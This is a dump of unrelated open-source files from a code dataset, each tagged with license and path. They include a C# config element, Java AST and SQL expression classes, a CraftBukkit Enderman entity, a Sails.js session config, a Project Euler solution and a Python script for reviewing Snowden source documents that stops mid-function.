using System; using System.Configuration; namespace HexMaster.Logging.Configuration { public class LogRepositoryConfiguration : ConfigurationElement { [ConfigurationProperty("name", DefaultValue = "MsSql", IsRequired = true)] [StringValidator(InvalidCharacters = "~!@#$%^&*()[]{}/;'\"|\\", MinLength = 1, MaxLength = 60)] public String Name { get { return (String)this["name"]; } set { this["name"] = value; } } [ConfigurationProperty("application", IsRequired = false)] [StringValidator(InvalidCharacters = "~!#$%^&*()[]{}/;\\", MaxLength = 60)] public String ApplicationName { get { return (String)this["application"]; } set { this["application"] = value; } } [ConfigurationProperty("connectionStringName", DefaultValue = null, IsRequired = false)] public String ConnectionStringName { get { return (String)this["connectionStringName"]; } set { this["connectionStringName"] = value; } } } }
gpl-3.0
ckaestne/CIDE
CIDE_Language_Java/src/tmp/generated_java15/Statement14.java
780
package tmp.generated_java15; import cide.gast.*; import cide.gparser.*; import cide.greferences.*; import java.util.*; public class Statement14 extends Statement { public Statement14(ThrowStatement throwStatement, Token firstToken, Token lastToken) { super(new Property[] { new PropertyOne<ThrowStatement>("throwStatement", throwStatement) }, firstToken, lastToken); } public Statement14(Property[] properties, IToken firstToken, IToken lastToken) { super(properties,firstToken,lastToken); } public IASTNode deepCopy() { return new Statement14(cloneProperties(),firstToken,lastToken); } public ThrowStatement getThrowStatement() { return ((PropertyOne<ThrowStatement>)getProperty("throwStatement")).getValue(); } }
gpl-3.0
zuonima/sql-utils
src/main/java/com/alibaba/druid/sql/ast/expr/SQLVariantRefExpr.java
2680
/* * Copyright 1999-2017 Alibaba Group Holding Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.alibaba.druid.sql.ast.expr; import com.alibaba.druid.sql.ast.SQLExprImpl; import com.alibaba.druid.sql.visitor.SQLASTVisitor; public class SQLVariantRefExpr extends SQLExprImpl { private String name; private boolean global = false; private int index = -1; public SQLVariantRefExpr(String name){ this.name = name; } public SQLVariantRefExpr(String name, boolean global){ this.name = name; this.global = global; } public SQLVariantRefExpr(){ } public int getIndex() { return index; } public void setIndex(int index) { this.index = index; } public String getName() { return this.name; } public void setName(String name) { this.name = name; } public void output(StringBuffer buf) { buf.append(this.name); } @Override protected void accept0(SQLASTVisitor visitor) { visitor.visit(this); visitor.endVisit(this); } @Override public int hashCode() { final int prime = 31; int result = 1; result = prime * result + ((name == null) ? 0 : name.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) { return true; } if (obj == null) { return false; } if (!(obj instanceof SQLVariantRefExpr)) { return false; } SQLVariantRefExpr other = (SQLVariantRefExpr) obj; if (name == null) { if (other.name != null) { return false; } } else if (!name.equals(other.name)) { return false; } return true; } public boolean isGlobal() { return global; } public void setGlobal(boolean global) { this.global = global; } public SQLVariantRefExpr clone() { SQLVariantRefExpr var = new SQLVariantRefExpr(name, global); var.index = index; return var; } }
gpl-3.0
furylynx/MAE
libmae/src/mae/fl/laban/mv/relationship_endpoint.cpp
2509
#include "relationship_endpoint.hpp" namespace mae { namespace fl { namespace laban { namespace mv { relationship_endpoint::relationship_endpoint(int column, bool active, std::shared_ptr<ps::i_pre_sign> pre_sign, std::shared_ptr<i_dynamics_sign> dynamics) { column_ = column; pre_sign_ = pre_sign; dynamics_ = dynamics; active_ = active; } relationship_endpoint::~relationship_endpoint() { } int relationship_endpoint::get_column() const { return column_; } std::shared_ptr<ps::i_pre_sign> relationship_endpoint::get_pre_sign() const { return pre_sign_; } std::shared_ptr<i_dynamics_sign> relationship_endpoint::get_dynamics() const { return dynamics_; } bool relationship_endpoint::get_active() const { return active_; } std::string relationship_endpoint::xml(unsigned int indent, std::string namesp) const { std::stringstream indent_stream; for (unsigned int i = 0; i < indent; i++) { indent_stream << "\t"; } std::string ns = namesp; if (ns.size() > 0 && ns.at(ns.size()-1) != ':') { ns.push_back(':'); } std::stringstream sstr; //print accent sign sstr << indent_stream.str() << "<" << ns << "column>" << column_ << "</" << ns << "column>" << std::endl; if (pre_sign_ != nullptr) { sstr << pre_sign_->xml(indent, namesp); } if (dynamics_ != nullptr) { sstr << dynamics_->xml(indent, namesp); } sstr << indent_stream.str() << "\t" << "<" << ns << "active>" << active_ << "</" << ns << "active>" << std::endl; return sstr.str(); } std::shared_ptr<relationship_endpoint> relationship_endpoint::recreate(std::map<int, int> column_mapping) const { std::shared_ptr<relationship_endpoint> result; int column = column_; if (column_mapping.find(column_) != column_mapping.end()) { column = column_mapping.at(column_); } result = std::shared_ptr<relationship_endpoint>(new relationship_endpoint(column, active_, pre_sign_, dynamics_)); return result; } bool relationship_endpoint::equals(std::shared_ptr<relationship_endpoint> a) const { return column_ == a->get_column() && active_ == a->get_active() && pre_sign_->equals(a->get_pre_sign()) && dynamics_->equals(a->get_dynamics()); } } // namespace mv } // namespace laban } // namespace fl } // namespace mae
gpl-3.0
nzkelvin/mrxrm
Adxstudio/MasterPortal/js/ckeditor/plugins/devtools/lang/sq.js
390
/* Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved. This software is covered by CKEditor Commercial License. Usage without proper license is prohibited. */ CKEDITOR.plugins.setLang("devtools","sq",{title:"Të dhënat e elementit",dialogName:"Emri i dritares së dialogut",tabName:"Emri i fletës",elementId:"ID e elementit",elementType:"Lloji i elementit"});
gpl-3.0
Droon99-Developer/AGHF-APCS
src/Units/AirStrike.java
400
package Units; public class AirStrike extends Unit { static final long serialVersionUID = 5667678708220137591L; public AirStrike(boolean forDefense) { // SPEED: 5 // DAMAGE: 40 // MAX HEALTH: 40 (only killed by anothre air strike) // GPK: 10 // constructor structure: int speed, int damage, int maxHealth, int GPK, // boolean forDefense super(5, 40, 1, 10, forDefense, "Jet"); } }
gpl-3.0
puzza007/Etymon
test/etymology/context/ContextCellContainerTest.java
3323
/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package etymology.context; import java.util.List; import org.junit.After; import org.junit.AfterClass; import org.junit.Before; import org.junit.BeforeClass; import org.junit.Test; import static org.junit.Assert.*; /** * * @author sxhiltun */ public class ContextCellContainerTest { public ContextCellContainerTest() { } @BeforeClass public static void setUpClass() throws Exception { } @AfterClass public static void tearDownClass() throws Exception { } @Before public void setUp() { } @After public void tearDown() { } /** * Test of addContextCell method, of class ContextCellContainer. */ @Test public void testAddContextCell() throws Exception { System.out.println("addContextCell"); int symbol = 0; int wordIndex = 0; int positionInWordIndex = 0; ContextCellContainer instance = new ContextCellContainer(); ContextCell result = instance.addContextCell(symbol, wordIndex, positionInWordIndex); assertEquals(positionInWordIndex, result.getPositionInWord()); } /** * Test of getContextCell method, of class ContextCellContainer. */ @Test public void testGetContextCell() { System.out.println("getContextCell"); int wordIndex = 0; int positionInWordIndex = 0; ContextCellContainer instance = new ContextCellContainer(); ContextCell expResult = null; ContextCell result = instance.getContextCell(wordIndex, positionInWordIndex); assertEquals(expResult, result); // TODO review the generated test code and remove the default call to fail. fail("The test case is a prototype."); } /** * Test of removeContextCell method, of class ContextCellContainer. */ @Test public void testRemoveContextCell() { System.out.println("removeContextCell"); int wordIndex = 0; int positionInWordIndex = 0; ContextCellContainer instance = new ContextCellContainer(); instance.removeContextCell(wordIndex, positionInWordIndex); // TODO review the generated test code and remove the default call to fail. fail("The test case is a prototype."); } /** * Test of getSize method, of class ContextCellContainer. */ @Test public void testGetSize() { System.out.println("getSize"); ContextCellContainer instance = new ContextCellContainer(); int expResult = 0; int result = instance.getSize(); assertEquals(expResult, result); // TODO review the generated test code and remove the default call to fail. fail("The test case is a prototype."); } /** * Test of getCells method, of class ContextCellContainer. */ @Test public void testGetCells() { System.out.println("getCells"); ContextCellContainer instance = new ContextCellContainer(); List expResult = null; List result = instance.getCells(); assertEquals(expResult, result); // TODO review the generated test code and remove the default call to fail. fail("The test case is a prototype."); } }
gpl-3.0
necr0potenc3/uosl
libuosl/src/org/solhost/folko/uosl/libuosl/types/Point2D.java
5119
/******************************************************************************* * Copyright (c) 2013 Folke Will <folke.will@gmail.com> * * This file is part of JPhex. * * JPhex is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * JPhex is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. ******************************************************************************/ package org.solhost.folko.uosl.libuosl.types; import java.io.Serializable; public class Point2D implements Serializable { private static final long serialVersionUID = 1L; public static final int MAP_WIDTH = 1024; public static final int MAP_HEIGHT = 1024; protected final int x, y; public Point2D(int x, int y) { if(x < 0 || x > MAP_WIDTH) { throw new IllegalArgumentException("invalid x coordinate: " + x); } this.x = x; if(y < 0 || y > MAP_HEIGHT) { throw new IllegalArgumentException("invalid y coordinate: " + y); } this.y = y; } public int distanceTo(Point2D other) { return l2DistanceTo(other); } // maximum norm public int lMaxDistanceTo(Point2D other) { int dx = Math.abs(x - other.x); int dy = Math.abs(y - other.y); return Math.max(dx, dy); } // L1 norm public int l1DistanceTo(Point2D other) { int dx = Math.abs(x - other.x); int dy = Math.abs(y - other.y); return dx + dy; } // L2 norm public int l2DistanceTo(Point2D other) { int dx = x - other.x; int dy = y - other.y; return (int) Math.round(Math.sqrt(dx * dx + dy * dy)); } public Direction getDirectionTo(Point2D other) { int dx = getX() - other.getX(); int dy = getY() - other.getY(); if(dx > 0) { if (dy > 0) return Direction.NORTH_WEST; else if(dy == 0) return Direction.WEST; else if(dy < 0) return Direction.SOUTH_WEST; } if(dx == 0) { if (dy > 0) return Direction.NORTH; else if(dy < 0) return Direction.SOUTH; } else if(dx < 0){ if (dy > 0) return Direction.NORTH_EAST; else if(dy == 0) return Direction.EAST; else if(dy < 0) return Direction.SOUTH_EAST; } return Direction.NORTH; // identical locations } public int getX() { return x; } public int getY() { return y; } public Point2D getTranslated(Direction dir) { int newX = getX(); int newY = getY(); switch(dir) { case NORTH: newY--; break; case NORTH_EAST: newX++; newY--; break; case EAST: newX++; break; case SOUTH_EAST: newX++; newY++; break; case SOUTH: newY++; break; case SOUTH_WEST: newX--; newY++; break; case WEST: newX--; break; case NORTH_WEST: newX--; newY--; break; } if(newX < 0) newX = 0; if(newX >= MAP_WIDTH) newX = MAP_WIDTH - 1; if(newY < 0) newY = 0; if(newY >= MAP_HEIGHT) newY = MAP_HEIGHT - 1; return new Point2D(newX, newY); } public int getCellIndex() { return getCellIndex(x, y); } public int getTileIndex() { return getTileIndex(x, y); } public static int getCellIndex(int x, int y) { return (x / 8) * (MAP_WIDTH / 8) + (y / 8); } public static int getTileIndex(int x, int y) { return (x % 8) + ((y % 8) * 8); } public static Point2D fromCell(int cell, int xOff, int yOff) { int x = (cell / (MAP_WIDTH / 8) * 8) + xOff; int y = (cell % (MAP_WIDTH / 8) * 8) + yOff; return new Point2D(x, y); } public boolean equals2D(Point2D other) { return this.x == other.x && this.y == other.y; } @Override public int hashCode() { final int prime = 31; int result = 1; result = prime * result + x; result = prime * result + y; return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (!(obj instanceof Point2D)) return false; Point2D other = (Point2D) obj; if (x != other.x) return false; if (y != other.y) return false; return true; } @Override public String toString() { return String.format("<Point2D: x = %d, y = %d>", x, y); } }
gpl-3.0
kkmonlee/Project-Euler-Solutions
Java/p365.java
3773
package com.company; import java.util.*; public class p365 { private static long binmod (long top, long bottom, long p) { if (top < bottom) { return 0; } int topLength = 1 + (int)Math.round(Math.floor(Math.log(top) / Math.log(p))); int bottomLength = 1 + (int)Math.round(Math.floor(Math.log(bottom) / Math.log(p))); int length = Math.max(topLength, bottomLength); long[] topArr = new long[length]; long[] bottomArr = new long[length]; Arrays.fill(topArr, 0); Arrays.fill(bottomArr, 0); for (int pos = 0; pos < length && top > 0; ++pos) { topArr[pos] = top % p; top /= p; } for (int pos = 0; pos < length && bottom > 0; ++pos) { bottomArr[pos] = bottom % p; bottom /= p; } for (int i = 0; i < length; ++i) { if (topArr[i] < bottomArr[i]) { return 0; } } long res = 1; for (int i = 0; i < length; ++i) { if (bottomArr[i] == 0) { continue; } for (long j = bottomArr[i] + 1; j <= topArr[i]; ++j) { res *= j; res %= p; } for (long j = 1; j <= topArr[i] - bottomArr[i]; ++j) { res *= revmod(j, p); res %= p; } } return res; } private static long revmod (long n, long p) { long res = 1; long pow = p - 2; long cmod = n; while (pow != 0) { if (pow % 2 == 1) { res *= cmod; res %= p; } pow >>= 1; cmod *= cmod; cmod %= p; } return res % p; } public static void main(String[] args) { long pow10_9 = 1000000000; long pow10_18 = pow10_9 * pow10_9; long res = 0; List<Integer> primes = new ArrayList<Integer>(); for (int i = 1001; i < 5000; ++i) { boolean prime = true; for (int j = 2; j * j <= i && prime; ++j) { if (i % j == 0) { prime = false; } } if (prime) { primes.add(i); } } int plen = primes.size(); long[] prime = new long[plen]; for (int i = 0; i < plen; ++i) { prime[i] = primes.get(i); } long[] mods = new long[plen]; for (int i = 0; i < plen; ++i) { mods[i] = binmod(pow10_18, pow10_9, prime[i]); } long[][] revs = new long[plen][plen]; for (int i = 0; i < plen; ++i) { for (int j = i + 1; j < plen; ++j) { revs[i][j] = revmod(prime[i] % prime[j], prime[j]); } } for (int i = 0; i < plen; ++i) { for (int j = i + 1; j < plen; ++j) { for (int k = j + 1; k < plen; ++k) { long r12 = revs[i][j]; long r13 = revs[i][k]; long r23 = revs[j][k]; long x1 = mods[i]; if (x1 < 0) { x1 += prime[i]; } long x2 = ((mods[j] - x1) * r12) % prime[j]; if (x2 < 0) { x2 += prime[j]; } long x3 = (((mods[k] - x1) * r13 - x2) * r23) % prime[k]; if (x3 < 0) { x3 += prime[k]; } res += x1 + x2 * prime[i] + x3 * prime[i] * prime[j]; } } } System.out.println(res); } }
gpl-3.0
lstar2003/door
config/session.js
4320
/** * Session Configuration * (sails.config.session) * * Sails session integration leans heavily on the great work already done by * Express, but also unifies Socket.io with the Connect session store. It uses * Connect's cookie parser to normalize configuration differences between Express * and Socket.io and hooks into Sails' middleware interpreter to allow you to access * and auto-save to `req.session` with Socket.io the same way you would with Express. * * For more information on configuring the session, check out: * http://sailsjs.org/#/documentation/reference/sails.config/sails.config.session.html */ module.exports.session = { /*************************************************************************** * * * Session secret is automatically generated when your new app is created * * Replace at your own risk in production-- you will invalidate the cookies * * of your users, forcing them to log in again. * * * ***************************************************************************/ secret: '8def9b8e889328a778c94ae16e139b62', /*************************************************************************** * * * Set the session cookie expire time The maxAge is set by milliseconds, * * the example below is for 24 hours * * * ***************************************************************************/ // cookie: { // maxAge: 24 * 60 * 60 * 1000 // } /*************************************************************************** * * * In production, uncomment the following lines to set up a shared redis * * session store that can be shared across multiple Sails.js servers * ***************************************************************************/ // adapter: 'redis', /*************************************************************************** * * * The following values are optional, if no options are set a redis * * instance running on localhost is expected. Read more about options at: * * https://github.com/visionmedia/connect-redis * * * * * ***************************************************************************/ // host: 'localhost', // port: 6379, // ttl: <redis session TTL in seconds>, // db: 0, // pass: <redis auth password> // prefix: 'sess:' /*************************************************************************** * * * Uncomment the following lines to use your Mongo adapter as a session * * store * * * ***************************************************************************/ // adapter: 'mongo', // host: 'localhost', // port: 27017, // db: 'sails', // collection: 'sessions', /*************************************************************************** * * * Optional Values: * * * * # Note: url will override other connection settings url: * * 'mongodb://user:pass@host:port/database/collection', * * * ***************************************************************************/ // username: '', // password: '', // auto_reconnect: false, // ssl: false, // stringify: true };
gpl-3.0
ferrybig/CraftBukkit-Bleeding
src/main/java/net/minecraft/server/EntityEnderman.java
14230
package net.minecraft.server; import java.util.UUID; // CraftBukkit start import org.bukkit.Location; import org.bukkit.craftbukkit.event.CraftEventFactory; import org.bukkit.event.entity.EntityTeleportEvent; // CraftBukkit end public class EntityEnderman extends EntityMonster { private static final UUID bp = UUID.fromString("020E0DFB-87AE-4653-9556-831010E291A0"); private static final AttributeModifier bq = (new AttributeModifier(bp, "Attacking speed boost", 6.199999809265137D, 0)).a(false); private static boolean[] br = new boolean[256]; private int bs; private int bt; private Entity bu; private boolean bv; public EntityEnderman(World world) { super(world); this.a(0.6F, 2.9F); this.W = 1.0F; } protected void aC() { super.aC(); this.getAttributeInstance(GenericAttributes.a).setValue(40.0D); this.getAttributeInstance(GenericAttributes.d).setValue(0.30000001192092896D); this.getAttributeInstance(GenericAttributes.e).setValue(7.0D); } protected void c() { super.c(); this.datawatcher.a(16, new Byte((byte) 0)); this.datawatcher.a(17, new Byte((byte) 0)); this.datawatcher.a(18, new Byte((byte) 0)); } public void b(NBTTagCompound nbttagcompound) { super.b(nbttagcompound); nbttagcompound.setShort("carried", (short) Block.b(this.getCarried())); nbttagcompound.setShort("carriedData", (short) this.getCarriedData()); } public void a(NBTTagCompound nbttagcompound) { super.a(nbttagcompound); this.setCarried(Block.e(nbttagcompound.getShort("carried"))); this.setCarriedData(nbttagcompound.getShort("carriedData")); } protected Entity findTarget() { EntityHuman entityhuman = this.world.findNearbyVulnerablePlayer(this, 64.0D); if (entityhuman != null) { if (this.f(entityhuman)) { this.bv = true; if (this.bt == 0) { this.world.makeSound(entityhuman.locX, entityhuman.locY, entityhuman.locZ, "mob.endermen.stare", 1.0F, 1.0F); } if (this.bt++ == 5) { this.bt = 0; this.a(true); return entityhuman; } } else { this.bt = 0; } } return null; } private boolean f(EntityHuman entityhuman) { ItemStack itemstack = entityhuman.inventory.armor[3]; if (itemstack != null && itemstack.getItem() == Item.getItemOf(Blocks.PUMPKIN)) { return false; } else { Vec3D vec3d = entityhuman.j(1.0F).a(); Vec3D vec3d1 = Vec3D.a(this.locX - entityhuman.locX, this.boundingBox.b + (double) (this.length / 2.0F) - (entityhuman.locY + (double) entityhuman.getHeadHeight()), this.locZ - entityhuman.locZ); double d0 = vec3d1.b(); vec3d1 = vec3d1.a(); double d1 = vec3d.b(vec3d1); return d1 > 1.0D - 0.025D / d0 && entityhuman.p(this); } } public void e() { if (this.K()) { this.damageEntity(DamageSource.DROWN, 1.0F); } if (this.bu != this.target) { AttributeInstance attributeinstance = this.getAttributeInstance(GenericAttributes.d); attributeinstance.b(bq); if (this.target != null) { attributeinstance.a(bq); } } this.bu = this.target; int i; if (!this.world.isStatic && this.world.getGameRules().getBoolean("mobGriefing")) { int j; int k; Block block; if (this.getCarried().getMaterial() == Material.AIR) { if (this.random.nextInt(20) == 0) { i = MathHelper.floor(this.locX - 2.0D + this.random.nextDouble() * 4.0D); j = MathHelper.floor(this.locY + this.random.nextDouble() * 3.0D); k = MathHelper.floor(this.locZ - 2.0D + this.random.nextDouble() * 4.0D); block = this.world.getType(i, j, k); if (br[Block.b(block)]) { // CraftBukkit start - Pickup event if (!CraftEventFactory.callEntityChangeBlockEvent(this, this.world.getWorld().getBlockAt(i, j, k), org.bukkit.Material.AIR).isCancelled()) { this.setCarried(block); this.setCarriedData(this.world.getData(i, j, k)); this.world.setTypeUpdate(i, j, k, Blocks.AIR); } // CraftBukkit end } } } else if (this.random.nextInt(2000) == 0) { i = MathHelper.floor(this.locX - 1.0D + this.random.nextDouble() * 2.0D); j = MathHelper.floor(this.locY + this.random.nextDouble() * 2.0D); k = MathHelper.floor(this.locZ - 1.0D + this.random.nextDouble() * 2.0D); block = this.world.getType(i, j, k); Block block1 = this.world.getType(i, j - 1, k); if (block.getMaterial() == Material.AIR && block1.getMaterial() != Material.AIR && block1.d()) { // CraftBukkit start - Place event if (!CraftEventFactory.callEntityChangeBlockEvent(this, i, j, k, this.getCarried(), this.getCarriedData()).isCancelled()) { this.world.setTypeAndData(i, j, k, this.getCarried(), this.getCarriedData(), 3); this.setCarried(Blocks.AIR); } // CraftBukkit end } } } for (i = 0; i < 2; ++i) { this.world.addParticle("portal", this.locX + (this.random.nextDouble() - 0.5D) * (double) this.width, this.locY + this.random.nextDouble() * (double) this.length - 0.25D, this.locZ + (this.random.nextDouble() - 0.5D) * (double) this.width, (this.random.nextDouble() - 0.5D) * 2.0D, -this.random.nextDouble(), (this.random.nextDouble() - 0.5D) * 2.0D); } if (this.world.w() && !this.world.isStatic) { float f = this.d(1.0F); if (f > 0.5F && this.world.i(MathHelper.floor(this.locX), MathHelper.floor(this.locY), MathHelper.floor(this.locZ)) && this.random.nextFloat() * 30.0F < (f - 0.4F) * 2.0F) { this.target = null; this.a(false); this.bv = false; this.bZ(); } } if (this.K() || this.isBurning()) { this.target = null; this.a(false); this.bv = false; this.bZ(); } if (this.cd() && !this.bv && this.random.nextInt(100) == 0) { this.a(false); } this.bc = false; if (this.target != null) { this.a(this.target, 100.0F, 100.0F); } if (!this.world.isStatic && this.isAlive()) { if (this.target != null) { if (this.target instanceof EntityHuman && this.f((EntityHuman) this.target)) { if (this.target.f((Entity) this) < 16.0D) { this.bZ(); } this.bs = 0; } else if (this.target.f((Entity) this) > 256.0D && this.bs++ >= 30 && this.c(this.target)) { this.bs = 0; } } else { this.a(false); this.bs = 0; } } super.e(); } protected boolean bZ() { double d0 = this.locX + (this.random.nextDouble() - 0.5D) * 64.0D; double d1 = this.locY + (double) (this.random.nextInt(64) - 32); double d2 = this.locZ + (this.random.nextDouble() - 0.5D) * 64.0D; return this.k(d0, d1, d2); } protected boolean c(Entity entity) { Vec3D vec3d = Vec3D.a(this.locX - entity.locX, this.boundingBox.b + (double) (this.length / 2.0F) - entity.locY + (double) entity.getHeadHeight(), this.locZ - entity.locZ); vec3d = vec3d.a(); double d0 = 16.0D; double d1 = this.locX + (this.random.nextDouble() - 0.5D) * 8.0D - vec3d.a * d0; double d2 = this.locY + (double) (this.random.nextInt(16) - 8) - vec3d.b * d0; double d3 = this.locZ + (this.random.nextDouble() - 0.5D) * 8.0D - vec3d.c * d0; return this.k(d1, d2, d3); } protected boolean k(double d0, double d1, double d2) { double d3 = this.locX; double d4 = this.locY; double d5 = this.locZ; this.locX = d0; this.locY = d1; this.locZ = d2; boolean flag = false; int i = MathHelper.floor(this.locX); int j = MathHelper.floor(this.locY); int k = MathHelper.floor(this.locZ); if (this.world.isLoaded(i, j, k)) { boolean flag1 = false; while (!flag1 && j > 0) { Block block = this.world.getType(i, j - 1, k); if (block.getMaterial().isSolid()) { flag1 = true; } else { --this.locY; --j; } } if (flag1) { // CraftBukkit start - Teleport event EntityTeleportEvent teleport = new EntityTeleportEvent(this.getBukkitEntity(), new Location(this.world.getWorld(), d3, d4, d5), new Location(this.world.getWorld(), this.locX, this.locY, this.locZ)); this.world.getServer().getPluginManager().callEvent(teleport); if (teleport.isCancelled()) { return false; } Location to = teleport.getTo(); this.setPosition(to.getX(), to.getY(), to.getZ()); // CraftBukkit end if (this.world.getCubes(this, this.boundingBox).isEmpty() && !this.world.containsLiquid(this.boundingBox)) { flag = true; } } } if (!flag) { this.setPosition(d3, d4, d5); return false; } else { short short1 = 128; for (int l = 0; l < short1; ++l) { double d6 = (double) l / ((double) short1 - 1.0D); float f = (this.random.nextFloat() - 0.5F) * 0.2F; float f1 = (this.random.nextFloat() - 0.5F) * 0.2F; float f2 = (this.random.nextFloat() - 0.5F) * 0.2F; double d7 = d3 + (this.locX - d3) * d6 + (this.random.nextDouble() - 0.5D) * (double) this.width * 2.0D; double d8 = d4 + (this.locY - d4) * d6 + this.random.nextDouble() * (double) this.length; double d9 = d5 + (this.locZ - d5) * d6 + (this.random.nextDouble() - 0.5D) * (double) this.width * 2.0D; this.world.addParticle("portal", d7, d8, d9, (double) f, (double) f1, (double) f2); } this.world.makeSound(d3, d4, d5, "mob.endermen.portal", 1.0F, 1.0F); this.makeSound("mob.endermen.portal", 1.0F, 1.0F); return true; } } protected String t() { return this.cd() ? "mob.endermen.scream" : "mob.endermen.idle"; } protected String aS() { return "mob.endermen.hit"; } protected String aT() { return "mob.endermen.death"; } protected Item getLoot() { return Items.ENDER_PEARL; } protected void dropDeathLoot(boolean flag, int i) { Item item = this.getLoot(); if (item != null) { // CraftBukkit start - Whole method java.util.List<org.bukkit.inventory.ItemStack> loot = new java.util.ArrayList<org.bukkit.inventory.ItemStack>(); int count = this.random.nextInt(2 + i); if (count > 0) { loot.add(new org.bukkit.inventory.ItemStack(org.bukkit.craftbukkit.util.CraftMagicNumbers.getMaterial(item), count)); } CraftEventFactory.callEntityDeathEvent(this, loot); // CraftBukkit end } } public void setCarried(Block block) { this.datawatcher.watch(16, Byte.valueOf((byte) (Block.b(block) & 255))); } public Block getCarried() { return Block.e(this.datawatcher.getByte(16)); } public void setCarriedData(int i) { this.datawatcher.watch(17, Byte.valueOf((byte) (i & 255))); } public int getCarriedData() { return this.datawatcher.getByte(17); } public boolean damageEntity(DamageSource damagesource, float f) { if (this.isInvulnerable()) { return false; } else { this.a(true); if (damagesource instanceof EntityDamageSource && damagesource.getEntity() instanceof EntityHuman) { this.bv = true; } if (damagesource instanceof EntityDamageSourceIndirect) { this.bv = false; for (int i = 0; i < 64; ++i) { if (this.bZ()) { return true; } } return false; } else { return super.damageEntity(damagesource, f); } } } public boolean cd() { return this.datawatcher.getByte(18) > 0; } public void a(boolean flag) { this.datawatcher.watch(18, Byte.valueOf((byte) (flag ? 1 : 0))); } static { br[Block.b((Block) Blocks.GRASS)] = true; br[Block.b(Blocks.DIRT)] = true; br[Block.b((Block) Blocks.SAND)] = true; br[Block.b(Blocks.GRAVEL)] = true; br[Block.b((Block) Blocks.YELLOW_FLOWER)] = true; br[Block.b((Block) Blocks.RED_ROSE)] = true; br[Block.b((Block) Blocks.BROWN_MUSHROOM)] = true; br[Block.b((Block) Blocks.RED_MUSHROOM)] = true; br[Block.b(Blocks.TNT)] = true; br[Block.b(Blocks.CACTUS)] = true; br[Block.b(Blocks.CLAY)] = true; br[Block.b(Blocks.PUMPKIN)] = true; br[Block.b(Blocks.MELON)] = true; br[Block.b((Block) Blocks.MYCEL)] = true; } }
gpl-3.0
cgd/genetic-util
src/java/org/jax/geneticutil/data/MultiGroupStrainPartition.java
1093
/* * Copyright (c) 2010 The Jackson Laboratory * * This is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software. If not, see <http://www.gnu.org/licenses/>. */ package org.jax.geneticutil.data; /** * Interface for representing a partitioning of strains into multiple groups * @author <A HREF="mailto:keith.sheppard@jax.org">Keith Sheppard</A> */ public interface MultiGroupStrainPartition { /** * Getter for the strains groups * @return * the strain groups for this haplotype */ public short[] getStrainGroups(); }
gpl-3.0
boite/ty-ed
script/source-discover.py
8463
# source-discover.py Discover Ed Snowden Primary Source documents. # Copyright (C) 2015 jah # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see # <http://www.gnu.org/licenses/>. """ Manually review URLs to discover and record primary source documents and accompanying reporting. Usage: source-discover.py [-f FORMAT | --input-format=FORMAT] (-s SFILE | --state=SFILE) (-i INFILE | --input INFILE ...) OUTFILE source-discover.py (-h | --help) source-discover.py --version Arguments: OUTFILE Append jsonl to this file. Options: -f FORMAT --input-format=FORMAT Format of INFILE, either "item" or "url" [default: item] -s SFILE --state=SFILE A list of URLs which have already been reviewed. -i INFILE --input INFILE Input file(s) of either scrapy items in jsonl format or a list or URLs. -h --help Show this screen. --version Show version. """ from docopt import docopt import sys, json, datetime INPUT_FORMAT_URL = 'url' def main(args): state_file = None out_file = None # sorted list of input items = [] # list of reviewed urls state = {} # map of partially reviewed urls to saved primary source urls partials = {} # process a state file which lists (possible) article URLs which # have already been reviewed try: f = open(args['--state'], 'r') except IOError: pass else: print 'Reading state file: %s' % args['--state'] for line in f: state[line.strip()] = True f.close() # now open the state file for appending try: state_file = open(args['--state'], 'a') except IOError, e: print 'Cannot open state file for appending: %s' % e return 1 # map partially reviewed items to saved primary source urls try: f = open(args['OUTFILE'], 'r') except IOError, e: pass else: print 'Reading output file: %s' % args['OUTFILE'] for line in f: ps = json.loads(line) k = ps.get('skey') if k is None or k in state: continue if k not in partials: partials[k] = [] partials[k].append(ps.get('url')) f.close() # now open the output file for appending try: out_file = open(args['OUTFILE'], 'a') except IOError, e: print 'Cannot open output file for appending: %s' % e return 1 # load the items and sort by ascending pubdate for fname in args['--input']: f = open(fname, 'r') print 'Reading input file: %s' % fname if args['--input-format'] == INPUT_FORMAT_URL: for line in f: items.append(line.strip()) else: for line in f: items.append(json.loads(line)) items.sort(key = lambda x: datetime.datetime.strptime( x.get('pubdate', '2020-01-01'), '%Y-%m-%d')) f.close() # get the next item to review progress_counter = 0 for item in items: if args['--input-format'] == INPUT_FORMAT_URL: url = item date = '' else: url = item.get('publisher_url', '') date = item.get('pubdate', '') if url == '' or url in state: progress_counter += 1 continue # review the URL progress_counter +=1 print('\nItem %d of %d.' % (progress_counter, len(items))) if review_item(url, date, out_file, partials.get(url, [])): state_file.write(url) state_file.write('\n') state[url] = True should_continue = raw_input('\nContinue with next item? y/n [y] ') or 'y' if should_continue != 'y': break state_file.close() out_file.close() return 0 def review_item(url, date, appendfile, previously_saved): '''Present a URL and facillitate the 